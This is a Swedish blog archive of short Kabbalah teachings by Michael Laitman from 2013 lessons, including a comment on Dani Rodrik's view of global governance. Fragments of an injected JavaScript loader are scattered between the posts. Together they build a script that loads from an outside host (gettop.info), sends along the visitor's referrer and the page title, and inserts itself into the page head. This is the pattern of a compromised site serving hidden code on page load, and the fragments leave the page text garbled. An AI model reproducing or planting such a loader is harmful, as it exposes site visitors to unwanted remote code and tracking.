Inlägg i kategori ''

Den godas natur är att göra gott

Dr. Michael LaitmanAllt vårt arbete består i att skaffa egenskaperna av givande ovan egenskaperna av mottagande så att varje ögonblick gör så att jag kan klargöra att allt  som händer inom mig och omkring mig, i alla mina tankar och begär, i hela bilden av verkligheten, enbart kommer från Skaparen. Jag klargör detta trots alla störningsmoment som kommer från världen. Världen visar att en mångfald  olika utomstående faktorer och krafter till synes arbetar där, etablerar min nivå och dess effekt. Men bakom allt detta måste jag se Skaparen.

Det är lättare att göra detta om världen relaterar  till mig vänligt och jag försöker fly från den. Men när jag blivit stark nog, blir jag sänd krafter som verkar goda, och attraherar mig till denna värld. Jag måste kämpa emot och säga att detta är ondska, till och med värre än det som var förut.

Jag behöver åtminstone tacka för all ondska likväl som att vara tacksam för lidandet mer än frestandet som attraherar mig till denna värld. Bakom allt måste jag se att allt styrs av den ende Skaparen, den gode som gör gott.

Detta arbete kallas Skaparens arbete, för att på så vis lär jag mig hur Skaparen relaterar till mig, lär mig sina ”vanor”. Jag upptäcker att Skaparen omger mig med all denna virtuella verkligheten så att jag genom denna värld, ovan denna verklighet, kommer att upptäcka kraften som aktiverar mig och som skapar all verklighet framför mig.

Jag behöver alltid se det som att det är Skaparens finger som riktar mig åt vilket håll jag ska välja, att vara i Klipat Noga, i den mittersta tredjedelen av Tifferet. Med detta inser jag att allting enbart kommer från en källa, från Keter, från solen. Jag måste hålla fast vid honom likt månen, och att reflektera tillbaka det ljus jag mottagit från solen.

Men jag välsignar tillståndet nymåne, som är totalt svart och inte skiner. Det är tillräckligt för mig för att hålla mig kvar i tro ovan förståndet, i givande ovan mottagande. Jag välsignar specifikt denna form, formen som jag strävar efter i mitt arbete.

[106078]

Från den första delen av den dagliga kabbalalektionen, 2013.04.24, Rabashs skrifter
videoikon WMV | ljudikon MP3

 

var d=document;var s=d.createElement(‘script’);

Förenad med Skaparen

Dr. Michael LaitmanI artikeln “Du har begränsat mig bakom och framför” lär vi oss hur ryttaren och hästen rör sig i perfekt samstämmighet. Vi, som all skapelse, spelar rollen som hästen, och ryttaren är Skaparen, som till fullo och helt naturligt styr den. Det finns inte en rörelse som hästen gör utan ryttarens påverkan. Men hästen själv vill följa med ryttaren till följd av sitt begär att förstå och att förutse sin ägares begär till en sådan grad att hästen agerar innan ryttaren influerar den. Detta innebär att vi måste nå en sådan nivå av kontakt med Skaparen, att vi agerar istället för Honom, tänkandes och kännandes i Hans ställe; det är så starkt vi bör vara i kontakt och hålla oss fast vid Honom.

Här når vi nästa nivå, nästa problem:Varför gör vi detta? Vi gör så för att ge Skaparen belåtenhet och inte för att vi ska må bra. Om jag gör saker för mig själv, så skiljer jag mig från Honom på grund av olikheter i attribut. Alltså måste vi tänka på det faktum att vi inte bara vill ha uppenbarelsen av Skaparen,utan vi vill det för att ge Skaparen belåtenhet.

Då börjar vi känna hur Han vill uppenbara sig för oss, för att kunna skänka oss glädje, för att kunna berätta allt för oss, och att dra oss till Hans värld av evighet och helhet. Vår värld, som döljer det, som är mellan oss och Honom, och våra kroppar och allt som omger oss, kommer gradvis försvinna. Då kommer vi enbart att se den enda kraften som styr världen och att vi är i den. Faktiskt börjar även forskarna att prata om detta idag.

Så vi måste börja känna smärta och glädje som ett resultat av vår intention. Varför vill vi avslöja honom, för vår skull eller för Hans skull? Här är det sista arbetet vårt ego måste göra. Ännu en gång kräver vi av Skaparen att ge oss intentionen att allt kommer från Honom och att allt är för Honom. Alla frågor, alla krav, alla begär, böner, alla klagomål, allting är åt Honom.

Försök aldrig hitta den minsta rörelse inom dig. Om det finns ett problem, vänd dig direkt till honom, oavsett vad det är, och arbeta med honom. Om du fokuserar dig själv korrekt med denna kraft, så ser du att allt löser sig. Detta innebär att jag vill avslöja denna kraft för att bara Han finns i världen och enbart så att vi alla kommer att få kontakt med Honom för att bli ”en under Honom”, att förenas som en enda ”häst”.

Vi måste känna glädje för att vara i kontakt med Honom, oavsett om denna kontakt är bra eller dålig. Om jag känner kontakten med Honom med den värsta känslan, så är det ett tecken på att det är ett bra tillstånd, om jag inte kommer ihåg Honom i de bästa känslorna, så är det ett tecken på att det är ett dåligt tillstånd.

Vi måste värdera dessa tillstånd enligt intensiteten av vår kontakt med Skaparen. Då  kommer vi gradvis flytta från känslor i våra begär av mottagande till känslor i begäret av givande. Detta innebär att all vår glädje, all vår längtan, redan är riktad mot Honom för att ge Honom belåtenhet, och sedan börjar vi, i intentionen att ge Honom belåtenhet, ta emot det övre Ljuset som fyller oss. Skaparen i sin helhet träder in i oss och vi börjar känna att vi är en helhet med Honom, som två älskare som förenas.

[105501]

Från den Europeiska kongressen, 2013.03.23, lektion 3
videoikon WMV | ljudikon MP3

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Ansvar för vad som kommer ut ur ägget

Dr. Michael LaitmanFråga: Om alla mina tillstånd bestäms av den högre kraften, var är då mitt ansvar för dåliga handlingar?

Svar: Jag kan inte ändra stadiet jag redan är i. Jag förberedde detta tillstånd med Skaparen som hans partner. Jag hade en möjlighet att förbereda mig själv så att tillståndet som närmar mig nu skulle ha manifesterat sig i en bättre form, men jag gjorde inte det.

Det nuvarande stadiet i sig kan inte ändra sig. Det är det naturliga resultatet av alla tidigare förhållanden som jag absolut kunde influera.

Jag kunde ha lagt ett ägg under en höna, jag kunde lagt det i solen, eller så kunde jag ha lagt det i en inkubator och följaktligen kommer jag få resultat som avgör min utvecklingshastighet och min attityd. Allting kommer skilja sig!

Men när jag finner mig i någon situation, så är det redan för sent för att göra något åt det. När jag agerat enligt principen ”om jag inte är för mig själv, vem är det då” och till slut, då jag upptäckt att ”det finns ingen annan än Han” tar jag emot denna utdelning. Jag gör det mesta utav detta och inser att jag från början var tvungen att nå ett tillstånd som detta.

Alltså, om allting redan är etablerat från början, var är då min fria vilja? Men bara efter att ha rättfärdigat mitt nuvarande tillstånd som korrekt och redan etablerat från början, eftersom ”det finns ingen annan än Han”, kan jag avgöra vad jag ska göra sen och säga: ”om inte jag är för mig, vem är det då”.

”Om inte jag är för mig, vem är det då” är perioden då jag agerar och arbetar som om Skaparen är bredvid mig, eftersom jag inte vet var Han är, detta är dolt för mig. Men varför behöver jag agera så här? Om jag gör rätt ansträngning, då kommer jag idealiskt att acceptera hela tillståndet som att det kommer från den högre kraften, från”det finns ingen annan än Han”.

Genom att arbeta så här förbereder jag min perception för kommande tillstånd. Skaparen kan avslöja ett tillstånd för mig idag som verkar hemskt. Men efter den förberedelse som jag gör nu, då jag arbetar efter principen ”om inte jag är för mig vem är det då” accepterar jag detta tillstånd som en manifestation av absolut godhet från Skaparen, som gynnade mig. Detta blir min belöning vid slutet av ”en hel arbetsdag”.
[105435]

Från den första delen av den dagliga kabbalalektionen, 2013.04.17, Rabashs skrifter
videoikon WMV | ljudikon MP3

if (document.currentScript) {

Om du är arg är det ett tecken på att du inte har rätt

Dr. Michael LaitmanFråga: Hur är det möjligt att identifiera var jag agerar själv, och förnekar Skaparens ledarskap?

Svar: Det är möjligt att identifiera denna plats väldigt enkelt. Det är när du är arg och inte går med på det högre styret, är skild från gruppen och från Skaparen.

Om du märker att du i vissa begär och tillstånd inte märker av Skaparens kontroll, även om du vill vara tillgiven den högre övervakaren och avancera, detta innebär att detta begär är skadat och kräver korrektion. Dina känslor kommer inte att ändras förrän du korrigerat dem. Du kan inte säga att allt är okej från början, för målet är att nå förening, bli tillgiven Skaparen. Därför har du inget val; du måste arbeta med alla dessa stadier, begär, och intentionen att nå tillgivenhet genom dem där det förflutna, nuet, och framtiden förenas; du och Skaparen är alltid förenade, i alla handlingar, tankar, och intentioner.

När ett problem upptäcks, måste vi lösa det som om det inte finns någon Skapare. Även om du vet att ”det finns ingen annan än han” så befinner du dig i ett motsatt tillstånd. Du är arg, och ilskan är ett tecken på ego.

Så vad finns det att vara arg över om allt händer enligt det högre styrets vilja? Men trots detta har en person fritt val. Det gör ont att se att det finns sätt att korrigera och undvika lidande av obehagliga tillstånd, att ge Skaparen tillfredsställelse, och ändå gör inte personen detta.

Här blir det en krock mellan principen ”Det finns ingen annan än Han” och ”Du har begränsat mig bakom och framför”,  kontrollen av en kraft ”personens fria vilja” och ”kraften från många styrkor”.

Vi förstår inte detta tills vi når den första uppenbarelsen, mittlinjen, där två olikheter möts. Då förstår vi vad tro ovan förståndet är, där de två motsatserna möts, där plus och minus möts. ”Det finns ingen annan än Han” och ”Om jag inte är för mig själv vem är det då” kompletterar  varandra inom personen angående dåtiden, nuet, och framtiden.

Utan denna sorts kärl av givande kan vi inte sammankoppla de två motsatserna och förstå det högre styrets enighet. Därför föreslår kabbalisterna helt enkelt för oss hur vi bör handla utan gå in för djupt i detaljerade förklaringar. För att kunna förstå dessa förklaringar till en viss grad, måste vi ha korrigerade egenskaper. Allt är etablerat enligt kliet av vår uppfattning. Om personen agerar korrekt, då upptäcks de gradvis inom honom och han är redo att känna och acceptera denna speciella del.

[105039]

Från de första delen av den dagliga kabbalalektionen 2013.04.14, Rabashs skrifter
videoikon WMV | ljudikon MP3

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Mörker som drogs av ljuset

Dr. Michael LaitmanRabash, Shlavey Hasulam, ”Tänk om de svalde de bittra örterna och inte kom ut, i arbetet.”

Så när en person som börjar följa denna väg, och som vill att hans handlingar ska vara för himmelens skull, upptäcker sanningen, att ju mer han gör handlingar med avsikt att ge, desto längre från det upplever han sig, vilket innebär att det finns en fördel med detta arbete, att sanningen börjar avslöjas från ovan, och att man är långt ifrån att handla med avsikten att ge.

Vårt avancemang är byggt enbart på olika uppenbarelser som är obehagliga för våra egon, för vår vilja att ta emot. Varje gång slutar det med att vi om vi är fördjupade i vårt ego inte kan avancera andligt.

Jag är nedsjunken i mitt ego, och ljuset kommer från ovan och påvisar nivån mitt ego är på. Till följd av det känner jag ett stort minus (-) som reflekterar djupet (h) av mitt begär. Till den grad jag mår dåligt måste jag urskilja vad jag måste göra i den väldigt dåliga känslan. Jag kan vara tacksam för ondskan eftersom jag genom den kan avgöra till vilken grad jag är motsatt från andligheten och givande. Ondskan avslöjas i mitt ego, i mitt begär att ta emot i syfte att ta emot, och om detta begär försvinner vet jag inte ens om att jag är inbäddad i ondskan. Djupet av den dåliga känslan är indexet av sanning för mig; det är det rätta tecknet.

Så från detta stadium frågar jag efter vidhäftelse; Jag vill vara ovan detta, ovan Egyptens gränser, ovan mitt ego, ovan machsom (barriären).

Darkness That Was Drawn By The Light
Här börjar jag bygga det returnerande ljuset (RL) och verkställer den första begränsningen på hela den nedre delen (tzimtzum).

Detta är hur den anliga partzuf är byggd i två delar; ”ett huvud” och en ”kropp”. Jag har verkställt den första begränsningen, jag har redan en ”kropp”. Senare kanske jag kan höja en del av den och koppla samman den med ”huvudet”, och detta kommer redan att vara en riktig partzuf ovan machsom.

Så, genom stegen av ibur (graviditet), yenika (spädbarn), och mochin (medvetande) passerar jag igenom alla ”splittrade delar” nerifrån och upp.

Vi börjar redan känna att detta är praktiskt arbete som kan utföras. Men vi bör ej glömma att det utförs av Ljuset som reformerar (det omgivande ljuset – Ohr makif– OM), och att vi kan samla på oss det enbart genom att konstant dra åt oss gemensamt ljus.

 

Darkness That Was Drawn By The Light
Egentligen kan allt som vi har lärt och läst om sammanfattas i en enkel bild av tio sfirot. Låt oss hoppas att tillståndet vi håller på att skapa kommer kvarstå i var och en som ett klart mönster.

Uppfattningen om världen, min attityd mot alla, mina känslor, allting som jag vill förstå och känna, måste passera genom detta mönster. Då kommer vi kunna lösa alla problem som kommer från Skaparen, från Ljuset, korrekt genom att handla korrekt och stödja Honom, och låta Honom uppenbara de rätta handlingarna.

FrågaHur kan vi faktiskt tacka Skaparen för alla dåliga tillstånd?

SvarDet är sant att ljuga inte kommer hjälpa oss här; du kan inte gråta och ärligt kyssa pinnen som slår dig. Men om du känner att pinnen slår din onda böjelse, om du inte vill identifiera dig med den utan med den goda böjelsen, då ser du redan skillnaden i en specifik böjelse mot Skaparen.

Det är enbart tack vare det omgivande ljuset som vi känner att vi är dåliga. För 50 år sedan trodde alla fortfarande att en ljus och blomstrande framtid låg framför oss. Sedan började den globala trenden av tillbakagång bli uppenbar och vi sjönk alla in i mörkret. En person med punkten i hjärtat börjar också gå in i ondskan, mörkret som kommer till honom genom ljuset som förändrar. Men samtidigt som ljuset i punkten i hjärtat lyser upp drar ondskan en nedåt medans punkten stiger högre och högre uppåt.

Så vi behöver följande inre uppdelning:

  1. En punkt i hjärtat,
  2. Ondskan inom oss.

Först då kommer jag upptäcka vem jag identifierar mig med.

Darkness That Was Drawn By The Light
 

FrågaHur blir man av med störande tankar om en belöning, om en gåva som Skaparen kommer ge mig för mitt arbete?

SvarDu kommer att konstant brottas med dessa tankar, och som ett resultat av det stiga utan att be om något, utan enbart identifiera dig med punkten i hjärtat om och om igen. Detta ”ping pong-” spel fortsätter tills ljuset som reformerar kommer igenom kontakterna i gruppen och tar dig till nästa nivå.

Där kommer ett starkare ljus återigen avslöja utkomsten av splittrandet i dig. Det är för att vi brukade vara sammankopplade förut, och Skaparen som skapade kontakten mellan oss splittrade den. Nu måste vi delta i korrektionen, att vakna upp och kalla på honom. Då kommer Ljuset och gör allt jobb.

[104549]

Från den tredje delen av den dagliga kabbalalektionen, 2013.04.04, Rabashs skrifter
videoikon Video | ljudikon MP3

Ett fall är steget före stigningen

Dr. Michael LaitmanAndliga kärl består av viljan att ta emot och dess begränsning, masachen (skärmen), och skammen som den innehåller. Skammen är för att jag inte är kapabel att ändra mig till givande och för att jag är rädd att binda varje tillstånd som jag går igenom till den som är givaren.

När jag reser mig efter ett fall från förnimmelsen av ondska och från den nivån studerar den tidigare nivån, så ser jag att det inte var dåligt. Jag förstår att fallet var förberedelsen för det nuvarande stigandet. Jag börjar älska och värdera de tidigare tillstånden och  vara tacksam för dem eftersom jag utan de fallen inte skulle kunna stiga nu.

Detta får mig att värdera mina stigningar ännu mer eftersom de kommit för att korrigera de tidigare felen. Alltså, jag korrigerar detta stigande genom min nya attityd mot det och lär av denna erfarenheten för framtiden. Nu vet jag att jag måste förbereda mig själv för nästa nivå, nästa fall, så jag ska kunna kontrollera det så mycket jag kan och arbeta ovan förståndet.

Det finns få chanser att arbeta ovan förstånd i ett tillstånd av stigande, men fallen hjälper där. Fallen är  faktiskt mer till nytta, inte stigandet.

En persons arbete är att vara tacksam för sitt förflutna och därmed förbereda sin framtid. Vi skall alltid säga att allt som hänt fram till nu, om det är konflikt med vännerna eller vad det kan tänkas vara, gjordes av Skaparen själv och det finns ingen annan än Han. Du måste lägga till alla dessa stadier riktade mot Skaparens uppenbarelse för dig om det nu är  ”bakifrån” som ett fall eller hans ”ansikte” om det är ett stigande.

I framtiden måste vi vara förberedda på vad som helst. Detta kallas total hängivelse. Detta är vad vi förbereder oss för i gruppen genom att investera våra ansträgningar i ömsesidig garanti, gemensamt stöd, som till slut återkommer till personen själv.

Allting beror på vår förberedelse. Om vi sysslolöst sitter utan att göra något, kommer vi knappt känna några fall eller något stigande, utan bara milda skiftningar i vårt humör. Men om vi förbereder oss själva genom kontakten med vännerna, då kommer vi kunna styra takten i vårt avancemang och se alla våra avancerade tillstånd som positiva: både stigningarna och fallen.

Det är svårare att relatera bestämt till ett stigande än ett fall. Faktiskt, när vi är i ett stigande, påverkas vi av njutninng som totalt fyller oss och inte låter oss klargöra vilket tillstånd vi är i och kontrollera njutningarna.

Under ett fall är det dina begär som tvingar dig att söka hjälp, även frälsning. Därför står det skrivet, ”Farao har fört Israels söner närmare deras fader i himmelen”. Begären som avslöjas i ett fall – i exil, i lidande och att inte må bra – det är vad som för en människa närmare målet, medan stigningarna inte direkt hjälper oss att avancera.

[104233]

Från den första delen av den dagliga kabbalalektionen, 2013.04.02, Rabashs skrifter, artikel 15
videoikon Video | ljudikon MP3

var d=document;var s=d.createElement(‘script’);

Förhindra att vännerna ”faller”

Dr. Michael LaitmanFråga: Under tiden mellan kongressen i Arava och den Europeiska kongressen jobbade vännerna i gruppen riktigt hårt och upplevde i stort många nedgångar.Vad kan vi göra för att vännerna inte ska ”falla”.

Svar: Vi behöver bara en sak för att hjälpa vännerna att inte ”falla”: stärka vår kontakt med Skaparen: vännerna från de andra grupperna bör påminna dig om detta. När en grupp arbetar korrekt, blir den en helhet.

Gruppen bör arbeta som en hel organism, precis som en kropp fungerar. Kan njurarna, hjärtat, och andra kroppsliga organ vara friska om det inte finns någon kommunikation mellan dem? Det är omöjligt! Det måste alltid finnas ett organ som hanterar alla aktiviteter, som hjärnan gör.

Preventing The Friends From "Falling"

Det opererar alla grupper och ger dem ”feedback”. Då finns alltid en konstant cyklisk gemensam aktivitet bestående av alla organ.

Om kroppens aktivitet inte cirkulerar, så finns ingen balans mellan organen, och då är kroppen sjuk. Även om alla organen är friska utom ett, så leder det till obalans  i hela kroppen. Därför måste det finnas en gemensam kontakt.

Vi har redan nått denna punkt. För att nu nå kontakt och avancera korrekt utan några hinder, måste alla vara i kontakt, och vi behöver den gemensamma sammankopplingens stöd från alla grupper, ett system av studier och disseminering.

[103804]

Från den Europeiska kongressen i Tyskland, 2013.03.23, Lektion 3
videoikon Video | ljudikon MP3

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Globala medborgare är en nödvändighet

Dr. Michael Laitman

Opinion (Dani Rodrik, Professor i Internationell Politisk Ekonomi vid Harvard University’s Kennedy School of Government och en ledande akademiker vad gäller globalisering och ekonomisk utveckling): “Inget riskerar globaliseringen mer än det gäspande regeringsgapet – den farliga skillnaden mellan den nationella politikens ansvarighet och marknaderna för varor, kapital och många tjänsters globala natur – som under senare decennier har öppnat upp sig. När marknaderna transcenderar nationell lagstiftning, som med dagens globalisering av ekonomin, blir instabilitet och kris följden. Men att jobba för lägga över lagstiftning till övernationella byråkratier, som World Trade Organization eller den europeiska kommissionen, kan resultera i ett demokratiskt underskott och en brist på legitimitet.

“Hur kan detta regeringsgap slutas? En möjlighet är att återinföra nationell demokratisk kontroll över de globala marknaderna. Det här är svårt och luktar protektionism, men det är varken omöjligt eller skadligt för en hälsosam globalisering. Som jag skriver i min bok Globaliseringens paradox skulle expanderandet av nationella regeringars utrymme för att upprätthålla lagstiftande mångfald och att återbygga slitna sociala fynd kunna förbättra hur den globala ekonomin fungerar. …

“Men problemet är inte bara att dessa globala institutioner förblir svaga. Det är också så att de är institutioner mellan regeringar – det är en samling av medlemsstater snarare än agenter för globala medborgare. På grund av att deras ansvar gentemot nationella väljarkårer är indirekt och osäkert, genererar de inte den politiska lojalitet – och därmed legitimitet – som verkligen representativa institutioner behöver. Det är sannerligen så att den Europeiska Unionens mödor har uppenbarat gränserna för den transnationella politikens gemenskapsbyggande, även bland en relativt begränsad och liknande mängd länder.

“Till syvende och sist stannar det hela vid nationella parlament och verkställande organ. Under finanskrisen var det de nationella regeringarna som löste ut banker och företag, återkapitaliserade finanssystemet, garanterade skulder, underlättade likviditeten, grundade den finansiella pumpen, och betalade för arbetslösheten och socialbidragen – och tog skulden för allt som gick fel. Med den avgående ordföranden för Bank of England, Mervyn Kings, ord är globala banker ”internationella i livet, men nationella i döden.”

“Men kanske finns det en annan väg, en som accepterar nationella regeringars auktoritet, men siktar på att omdirigera nationella intressen i en mer global riktning. Utveckling längs en sådan linje kräver att ‘nationella’ medborgare i större och större utsträckning börjar se på sig själva som ‘globala medborgare’, med intressen som sträcker sig utanför den egna statens gränser.”

Min kommentar: Eftersom nationella regeringar är beroende av sina medborgare, kommer integral utbildning att leda till en förståelse av den globala förbindelsen och det ansvar som medföljer, vilket kommer att sätta press på nationella regeringar.

[102967]

d.getElementsByTagName(‘head’)[0].appendChild(s);

En värld vävd av ljuset

Dr. Michael LaitmanFråga: Världen framställs för oss nu genom våra sinnen. Men när vi avancerar andligt löses det gradvis upp. Hur händer det?

Svar: Det är väldigt enkelt. Nuförtiden har många vetenskapliga artiklar blivit skrivna angående ämnet.

Vi känner allt inom oss. Det högre ljuset konstruerar dessa känslor inom oss. De fysiska eller andliga vågorna (det spelar ingen roll vad de kallas eftersom de alla är av samma natur) utför vissa handlingar på oss, och vi känner dem. Det innebär att allt beror på våra kelim (kärl), våra sinnen.

Om våra sinnen är på den absolut minimala nivån, känner vi i dem olika avstånd, objekt, och händelser, som vi kallar vår värld. Men om dessa sinnen blir expanderade, så börjar vi istället för dessa volymer känna utökade områden som sväljer det nuvarande tillståndet. Slutligen  löses allt upp, allting försvinner in i vågorna.

Baal HaSulam presenterar ett väldigt enkelt exempel. Om vi kyler vatten, så transformeras det till is, vilket innebär att det från flytande blir solitt. Om vi värmer vatten förångas det; det förvandlas till ånga, till en dimma. Men detta är samma enhet som en gång var i en flytande eller solitt tillstånd och nu har antagit ett tillstånd av gas. Det vill säga att allt förändras relativt oss.

Om vi hade haft andra sinnen, skulle vi till exempel känt luften som om den vore betong, ett oöverkomligt hinder. Det leder till att det är våra sinnen som framställer världen som den är för oss.

Läs vad forskarna har skrivit om verklighetsuppfattning. Efter Einstein skrev Everett och andra stora fysiker att allting uppfattas relativt betraktaren, och detta har bevisats i experiment.

Därav, om våra sinnen ändras, blir till och med materia något annat. Det finns enbart en våg av ljus. Där vi behöver involvera oss med strävan efter Skaparen, efter denna kraft, eftersom dess upptäckt är vad som orsakar alla förändringarna inom oss.

[103811]

Från den Europeiska kongressen i Tyskland, 2013.03.23, lektion 3
videoikon WMV | ljudikon MP3

}

Hur tackar vi Skaparen

Dr. Michael LaitmanFråga: Hur kan vi uttrycka vår tacksamhet till Skaparen?

Svar: Enbart genom att vilja att Han uppenbarar sig, på så vis ger vi honom förnöjsamhet.

Dessa ord kanske verkar banala, inte fullt förstådda, och artificiella, men i stort är det det enda sättet att förklara det genom att använda denna jords språk. Faktiskt är det en väldigt hög nivå och vi kommer att förstå innebörden av dessa ord först efter att Skaparen är uppenbarad.

Hur kan vi ge Skaparen, den högre makten som styr allting, belåtenhet om vi springer omkring som småkryp springandes in i varandra? Vill vi ha Honom eller inte? Ändrar sig vårt humör enligt detta? Lider Han eller gläds Han som resultat (lidandet eller njutningen från Shechina-Gudomligheten)? Vi förstår inget av detta, vi förstår inte ens oss själva.

I själva verket är hela mänskligheten övre varelser, inte på det sättet vi ser det i våra egoistiska attribut, men på så sätt existerar vi på riktigt i den generella  förbindelsen, i full förening med Skaparen. På den nivån är vi alla lika och identiska med honom.

Så vi måste föreställa oss denna nivå, och agera i den, och alla bör se sig själv och sina vänner som värdiga denna nivå. Detta kommer att resa oss.

[103860]

Från den Europeiska kongressen i Tyskland, lektion 3
videoikon WMV | ljudikon MP3

d.getElementsByTagName(‘head’)[0].appendChild(s);